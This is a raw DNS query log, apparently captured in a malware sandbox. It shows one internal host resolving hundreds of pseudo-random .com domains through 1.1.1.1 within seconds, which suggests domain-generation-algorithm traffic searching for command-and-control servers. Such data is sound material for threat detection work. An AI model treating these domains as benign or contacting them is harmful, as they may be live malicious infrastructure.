Nov 11, 2024 18:50:43.224824905 CET	192.168.2.6	1.1.1.1	0x4a29	Standard query (0)	purydip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.291924000 CET	192.168.2.6	1.1.1.1	0xd277	Standard query (0)	puvyxeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.292927980 CET	192.168.2.6	1.1.1.1	0x44fc	Standard query (0)	volykit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.402395010 CET	192.168.2.6	1.1.1.1	0xb3e5	Standard query (0)	lygymyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.841571093 CET	192.168.2.6	1.1.1.1	0x91a7	Standard query (0)	qekyqyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.844367027 CET	192.168.2.6	1.1.1.1	0xdcf	Standard query (0)	pupydig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.846759081 CET	192.168.2.6	1.1.1.1	0x6b18	Standard query (0)	lykymyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.848562956 CET	192.168.2.6	1.1.1.1	0x8bef	Standard query (0)	gatyduh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.853858948 CET	192.168.2.6	1.1.1.1	0x5176	Standard query (0)	ganyzas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.854793072 CET	192.168.2.6	1.1.1.1	0x36f2	Standard query (0)	vojymet.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.855395079 CET	192.168.2.6	1.1.1.1	0x58c7	Standard query (0)	qetysuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.855395079 CET	192.168.2.6	1.1.1.1	0xea2f	Standard query (0)	puvyliv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.855799913 CET	192.168.2.6	1.1.1.1	0xb26c	Standard query (0)	qebylov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.856405973 CET	192.168.2.6	1.1.1.1	0x84ef	Standard query (0)	lyvylod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.856795073 CET	192.168.2.6	1.1.1.1	0xbd16	Standard query (0)	pujymel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.856971025 CET	192.168.2.6	1.1.1.1	0x39c9	Standard query (0)	gahynaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.858042002 CET	192.168.2.6	1.1.1.1	0xe71d	Standard query (0)	gacykub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.858042002 CET	192.168.2.6	1.1.1.1	0x47fb	Standard query (0)	vocykif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.859110117 CET	192.168.2.6	1.1.1.1	0x7287	Standard query (0)	qexykug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.859719038 CET	192.168.2.6	1.1.1.1	0x47c0	Standard query (0)	lygynox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.860060930 CET	192.168.2.6	1.1.1.1	0xbf77	Standard query (0)	purypyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.860277891 CET	192.168.2.6	1.1.1.1	0xa46f	Standard query (0)	vowypek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.860716105 CET	192.168.2.6	1.1.1.1	0x51c7	Standard query (0)	gadyduz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.860940933 CET	192.168.2.6	1.1.1.1	0x1cf7	Standard query (0)	vopydum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.862004995 CET	192.168.2.6	1.1.1.1	0x7201	Standard query (0)	lyrysyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.862004995 CET	192.168.2.6	1.1.1.1	0x74d1	Standard query (0)	qegynap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.862668037 CET	192.168.2.6	1.1.1.1	0x5e8d	Standard query (0)	lymylij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.863270044 CET	192.168.2.6	1.1.1.1	0xdaea	Standard query (0)	puzymev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.865431070 CET	192.168.2.6	1.1.1.1	0x1a46	Standard query (0)	qeqyloq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.866702080 CET	192.168.2.6	1.1.1.1	0xbea1	Standard query (0)	vofydut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.867305994 CET	192.168.2.6	1.1.1.1	0x7ebf	Standard query (0)	lyxymed.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.868217945 CET	192.168.2.6	1.1.1.1	0xab76	Standard query (0)	gaqyzoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.868768930 CET	192.168.2.6	1.1.1.1	0x288a	Standard query (0)	qexyqyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.871107101 CET	192.168.2.6	1.1.1.1	0x328b	Standard query (0)	vowyzam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.871107101 CET	192.168.2.6	1.1.1.1	0x7c01	Standard query (0)	pufydul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.873013020 CET	192.168.2.6	1.1.1.1	0x6975	Standard query (0)	lygyfir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.874579906 CET	192.168.2.6	1.1.1.1	0x197	Standard query (0)	gacyqys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.876377106 CET	192.168.2.6	1.1.1.1	0x925e	Standard query (0)	puryxag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.879574060 CET	192.168.2.6	1.1.1.1	0xf75e	Standard query (0)	qegyfil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.879574060 CET	192.168.2.6	1.1.1.1	0x7860	Standard query (0)	vocyquc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.881223917 CET	192.168.2.6	1.1.1.1	0xf737	Standard query (0)	lyryxen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.882647038 CET	192.168.2.6	1.1.1.1	0x6ca5	Standard query (0)	gahyfow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.884524107 CET	192.168.2.6	1.1.1.1	0x28a	Standard query (0)	puvywup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.886239052 CET	192.168.2.6	1.1.1.1	0xe484	Standard query (0)	qetyxeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.888320923 CET	192.168.2.6	1.1.1.1	0x6202	Standard query (0)	vojygok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.890258074 CET	192.168.2.6	1.1.1.1	0xd614	Standard query (0)	lyvywux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.890980959 CET	192.168.2.6	1.1.1.1	0xc17f	Standard query (0)	gatycyb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.893294096 CET	192.168.2.6	1.1.1.1	0x8f7a	Standard query (0)	pujygaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.893294096 CET	192.168.2.6	1.1.1.1	0x6470	Standard query (0)	qebyrip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.894844055 CET	192.168.2.6	1.1.1.1	0x4eb2	Standard query (0)	vopycyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.895268917 CET	192.168.2.6	1.1.1.1	0x47ed	Standard query (0)	lykygaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.895834923 CET	192.168.2.6	1.1.1.1	0xcd96	Standard query (0)	ganyriz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.896425009 CET	192.168.2.6	1.1.1.1	0x5e6b	Standard query (0)	pupycuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.898469925 CET	192.168.2.6	1.1.1.1	0x2c29	Standard query (0)	qekyheq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.898469925 CET	192.168.2.6	1.1.1.1	0xf229	Standard query (0)	galyheh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.899246931 CET	192.168.2.6	1.1.1.1	0x5fe1	Standard query (0)	vonyrot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.901226997 CET	192.168.2.6	1.1.1.1	0xb9fa	Standard query (0)	lysyvud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.901583910 CET	192.168.2.6	1.1.1.1	0x7a4a	Standard query (0)	pumytol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.903148890 CET	192.168.2.6	1.1.1.1	0x5c0c	Standard query (0)	qedyvuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.903148890 CET	192.168.2.6	1.1.1.1	0x6c4a	Standard query (0)	volyjym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.904652119 CET	192.168.2.6	1.1.1.1	0x75cd	Standard query (0)	lymytar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.905456066 CET	192.168.2.6	1.1.1.1	0x1836	Standard query (0)	gadyvis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.905951023 CET	192.168.2.6	1.1.1.1	0xc196	Standard query (0)	puzyjyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.907182932 CET	192.168.2.6	1.1.1.1	0x174a	Standard query (0)	qeqytal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.907182932 CET	192.168.2.6	1.1.1.1	0xa0c4	Standard query (0)	vofybic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.908123016 CET	192.168.2.6	1.1.1.1	0xa354	Standard query (0)	lyxyjun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.908818007 CET	192.168.2.6	1.1.1.1	0x8fb6	Standard query (0)	gaqypew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:43.908976078 CET	192.168.2.6	1.1.1.1	0xf3cf	Standard query (0)	pufybop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.539639950 CET	192.168.2.6	1.1.1.1	0x884b	Standard query (0)	vonykuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.546529055 CET	192.168.2.6	1.1.1.1	0x9c1f	Standard query (0)	gacyhez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.553680897 CET	192.168.2.6	1.1.1.1	0xe3fe	Standard query (0)	lygyvuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.554414988 CET	192.168.2.6	1.1.1.1	0xdf2d	Standard query (0)	qekynog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.554748058 CET	192.168.2.6	1.1.1.1	0xc9a2	Standard query (0)	qegyvuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.558689117 CET	192.168.2.6	1.1.1.1	0x6f63	Standard query (0)	volymaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.561511993 CET	192.168.2.6	1.1.1.1	0x32b6	Standard query (0)	qedysyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.564273119 CET	192.168.2.6	1.1.1.1	0x4651	Standard query (0)	pumyliq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.564970970 CET	192.168.2.6	1.1.1.1	0x6d5f	Standard query (0)	galynab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.565929890 CET	192.168.2.6	1.1.1.1	0x6d92	Standard query (0)	lysysyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.568120956 CET	192.168.2.6	1.1.1.1	0xb6f4	Standard query (0)	vojybim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.568183899 CET	192.168.2.6	1.1.1.1	0x9663	Standard query (0)	gaqyrib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.568700075 CET	192.168.2.6	1.1.1.1	0xf14d	Standard query (0)	lyvyjyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.569200039 CET	192.168.2.6	1.1.1.1	0x378e	Standard query (0)	gatypas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.569232941 CET	192.168.2.6	1.1.1.1	0x6992	Standard query (0)	lyrytod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.569973946 CET	192.168.2.6	1.1.1.1	0x4465	Standard query (0)	vowyrif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.574381113 CET	192.168.2.6	1.1.1.1	0xea40	Standard query (0)	qeqyrug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.580322981 CET	192.168.2.6	1.1.1.1	0xae38	Standard query (0)	vofycyk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.584772110 CET	192.168.2.6	1.1.1.1	0x274d	Standard query (0)	pujybig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.585496902 CET	192.168.2.6	1.1.1.1	0xe888	Standard query (0)	gadycew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.591262102 CET	192.168.2.6	1.1.1.1	0xd71d	Standard query (0)	qebykul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.601490974 CET	192.168.2.6	1.1.1.1	0xf4dd	Standard query (0)	vocyjet.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.601685047 CET	192.168.2.6	1.1.1.1	0xa73f	Standard query (0)	gahyvuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.601984024 CET	192.168.2.6	1.1.1.1	0xef88	Standard query (0)	puvyjyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.602124929 CET	192.168.2.6	1.1.1.1	0x4b6a	Standard query (0)	pufycyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.602283955 CET	192.168.2.6	1.1.1.1	0x5f41	Standard query (0)	qexyhap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.602457047 CET	192.168.2.6	1.1.1.1	0x1e8f	Standard query (0)	qetytav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.602457047 CET	192.168.2.6	1.1.1.1	0x1693	Standard query (0)	gaqykus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.602606058 CET	192.168.2.6	1.1.1.1	0xf305	Standard query (0)	lykynon.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.602627993 CET	192.168.2.6	1.1.1.1	0xaf71	Standard query (0)	pufypeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.602798939 CET	192.168.2.6	1.1.1.1	0x4411	Standard query (0)	purytov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.602838993 CET	192.168.2.6	1.1.1.1	0x8eb0	Standard query (0)	pupypep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.602978945 CET	192.168.2.6	1.1.1.1	0xcfcc	Standard query (0)	ganykuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.603074074 CET	192.168.2.6	1.1.1.1	0x6032	Standard query (0)	puzygop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.603189945 CET	192.168.2.6	1.1.1.1	0x18d4	Standard query (0)	vopypec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.603351116 CET	192.168.2.6	1.1.1.1	0x920b	Standard query (0)	lyxygax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.609438896 CET	192.168.2.6	1.1.1.1	0x42ab	Standard query (0)	qexynol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.609738111 CET	192.168.2.6	1.1.1.1	0xd6d5	Standard query (0)	volygoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.624989986 CET	192.168.2.6	1.1.1.1	0xbbb6	Standard query (0)	purylup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.627609968 CET	192.168.2.6	1.1.1.1	0x8268	Standard query (0)	lygysen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.628175020 CET	192.168.2.6	1.1.1.1	0x26d5	Standard query (0)	vowykuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.639575958 CET	192.168.2.6	1.1.1.1	0x1562	Standard query (0)	qebyqeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.641382933 CET	192.168.2.6	1.1.1.1	0x31c6	Standard query (0)	pupyxal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.641556978 CET	192.168.2.6	1.1.1.1	0xc014	Standard query (0)	lyrylix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.641670942 CET	192.168.2.6	1.1.1.1	0xbcae	Standard query (0)	qegysyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.641894102 CET	192.168.2.6	1.1.1.1	0x1bcb	Standard query (0)	ganyqyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.641967058 CET	192.168.2.6	1.1.1.1	0x5fa5	Standard query (0)	vonyqym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.642251968 CET	192.168.2.6	1.1.1.1	0xe43b	Standard query (0)	lymywun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.642546892 CET	192.168.2.6	1.1.1.1	0x3045	Standard query (0)	vocymak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.642688990 CET	192.168.2.6	1.1.1.1	0x9d4b	Standard query (0)	galyfis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.642883062 CET	192.168.2.6	1.1.1.1	0x1b61	Standard query (0)	lykyfud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.644217014 CET	192.168.2.6	1.1.1.1	0xcf9d	Standard query (0)	vopyzot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.644450903 CET	192.168.2.6	1.1.1.1	0x866a	Standard query (0)	pujyduv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.644920111 CET	192.168.2.6	1.1.1.1	0x8e05	Standard query (0)	puvymaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.646418095 CET	192.168.2.6	1.1.1.1	0x89e	Standard query (0)	gatyzoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.646716118 CET	192.168.2.6	1.1.1.1	0x1ba3	Standard query (0)	lyvymej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.646812916 CET	192.168.2.6	1.1.1.1	0x3282	Standard query (0)	lysyxar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.647017956 CET	192.168.2.6	1.1.1.1	0x3ecd	Standard query (0)	qekyfiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.651587009 CET	192.168.2.6	1.1.1.1	0x3132	Standard query (0)	vojyduf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.652034998 CET	192.168.2.6	1.1.1.1	0x7fb2	Standard query (0)	qetylip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.652714014 CET	192.168.2.6	1.1.1.1	0x48fe	Standard query (0)	gahydyb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.652836084 CET	192.168.2.6	1.1.1.1	0x3a7	Standard query (0)	qedyxel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.653321981 CET	192.168.2.6	1.1.1.1	0xa585	Standard query (0)	gacynow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:44.683330059 CET	192.168.2.6	1.1.1.1	0xa374	Standard query (0)	pumywug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.519751072 CET	192.168.2.6	1.1.1.1	0x21e5	Standard query (0)	lysytoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.521709919 CET	192.168.2.6	1.1.1.1	0x363d	Standard query (0)	galyvuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.522485018 CET	192.168.2.6	1.1.1.1	0xe0ce	Standard query (0)	gahyces.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.522800922 CET	192.168.2.6	1.1.1.1	0x209b	Standard query (0)	puvygog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.523843050 CET	192.168.2.6	1.1.1.1	0xcad	Standard query (0)	lyxynir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.526352882 CET	192.168.2.6	1.1.1.1	0x74b3	Standard query (0)	vofypam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.527689934 CET	192.168.2.6	1.1.1.1	0x1c26	Standard query (0)	qeqykyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.528357983 CET	192.168.2.6	1.1.1.1	0xdd39	Standard query (0)	puzybil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.529227972 CET	192.168.2.6	1.1.1.1	0x7586	Standard query (0)	gadypah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.530976057 CET	192.168.2.6	1.1.1.1	0x87a6	Standard query (0)	ganyhab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.531650066 CET	192.168.2.6	1.1.1.1	0xa195	Standard query (0)	qedytoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.533298016 CET	192.168.2.6	1.1.1.1	0x7044	Standard query (0)	lymyjyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.534440994 CET	192.168.2.6	1.1.1.1	0x2a50	Standard query (0)	volybut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.535126925 CET	192.168.2.6	1.1.1.1	0x9121	Standard query (0)	vonyjef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.576389074 CET	192.168.2.6	1.1.1.1	0x27e0	Standard query (0)	pumyjev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.598606110 CET	192.168.2.6	1.1.1.1	0x8924	Standard query (0)	vojycec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.599090099 CET	192.168.2.6	1.1.1.1	0xb6ad	Standard query (0)	gatyruw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.599332094 CET	192.168.2.6	1.1.1.1	0x2855	Standard query (0)	lyvygon.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.599347115 CET	192.168.2.6	1.1.1.1	0xeaa7	Standard query (0)	pujycyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.599488974 CET	192.168.2.6	1.1.1.1	0xf747	Standard query (0)	lykyvyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.599654913 CET	192.168.2.6	1.1.1.1	0xe2c1	Standard query (0)	gahypoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.599781036 CET	192.168.2.6	1.1.1.1	0x96b3	Standard query (0)	vopyrik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.600018978 CET	192.168.2.6	1.1.1.1	0xddef	Standard query (0)	qebyhag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.600048065 CET	192.168.2.6	1.1.1.1	0x3169	Standard query (0)	qetyrul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.600347042 CET	192.168.2.6	1.1.1.1	0x2a06	Standard query (0)	pupytiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.600392103 CET	192.168.2.6	1.1.1.1	0xe894	Standard query (0)	vocybuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.600635052 CET	192.168.2.6	1.1.1.1	0xa2ab	Standard query (0)	vowyqyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.601629019 CET	192.168.2.6	1.1.1.1	0x53b2	Standard query (0)	qekyvup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.610416889 CET	192.168.2.6	1.1.1.1	0x361b	Standard query (0)	gacyfih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.615540981 CET	192.168.2.6	1.1.1.1	0x3f8d	Standard query (0)	puryjeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.625642061 CET	192.168.2.6	1.1.1.1	0xbc09	Standard query (0)	lyrywur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.631006956 CET	192.168.2.6	1.1.1.1	0x10fe	Standard query (0)	vofyzof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.631993055 CET	192.168.2.6	1.1.1.1	0x918f	Standard query (0)	puzyduq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.643975973 CET	192.168.2.6	1.1.1.1	0x6ef	Standard query (0)	lygyxad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.649893999 CET	192.168.2.6	1.1.1.1	0x4ec9	Standard query (0)	vocygim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.650563955 CET	192.168.2.6	1.1.1.1	0x8ed0	Standard query (0)	lymymax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.651367903 CET	192.168.2.6	1.1.1.1	0x43ae	Standard query (0)	lyxyfuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.651726961 CET	192.168.2.6	1.1.1.1	0x4a4b	Standard query (0)	qeqyqep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.656876087 CET	192.168.2.6	1.1.1.1	0x2931	Standard query (0)	gadyzib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.660707951 CET	192.168.2.6	1.1.1.1	0xbbc6	Standard query (0)	pufyxov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.663459063 CET	192.168.2.6	1.1.1.1	0x9da4	Standard query (0)	pupylug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.665916920 CET	192.168.2.6	1.1.1.1	0xc0dc	Standard query (0)	purywyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.666281939 CET	192.168.2.6	1.1.1.1	0xb2e	Standard query (0)	qegyxav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.666378021 CET	192.168.2.6	1.1.1.1	0xf2b4	Standard query (0)	volydyk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.666510105 CET	192.168.2.6	1.1.1.1	0x3e8c	Standard query (0)	galydyw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.666995049 CET	192.168.2.6	1.1.1.1	0x8d1b	Standard query (0)	qexyfuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.667071104 CET	192.168.2.6	1.1.1.1	0x6722	Standard query (0)	ganynos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.667223930 CET	192.168.2.6	1.1.1.1	0x8f06	Standard query (0)	qekysel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.667272091 CET	192.168.2.6	1.1.1.1	0x2431	Standard query (0)	lykyser.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.667408943 CET	192.168.2.6	1.1.1.1	0xea5c	Standard query (0)	vopykum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.667500019 CET	192.168.2.6	1.1.1.1	0xeac1	Standard query (0)	lyryjej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.667630911 CET	192.168.2.6	1.1.1.1	0x5d64	Standard query (0)	qedylig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.667748928 CET	192.168.2.6	1.1.1.1	0x8b4e	Standard query (0)	gaqyqez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.667803049 CET	192.168.2.6	1.1.1.1	0x87bd	Standard query (0)	pumymap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.668469906 CET	192.168.2.6	1.1.1.1	0x5cdf	Standard query (0)	pujypal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.668544054 CET	192.168.2.6	1.1.1.1	0xeb80	Standard query (0)	lysylun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.669047117 CET	192.168.2.6	1.1.1.1	0x661a	Standard query (0)	vonymoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:45.669089079 CET	192.168.2.6	1.1.1.1	0x872d	Standard query (0)	gatykyh.com	A (IP address)	IN (0x0001)	false
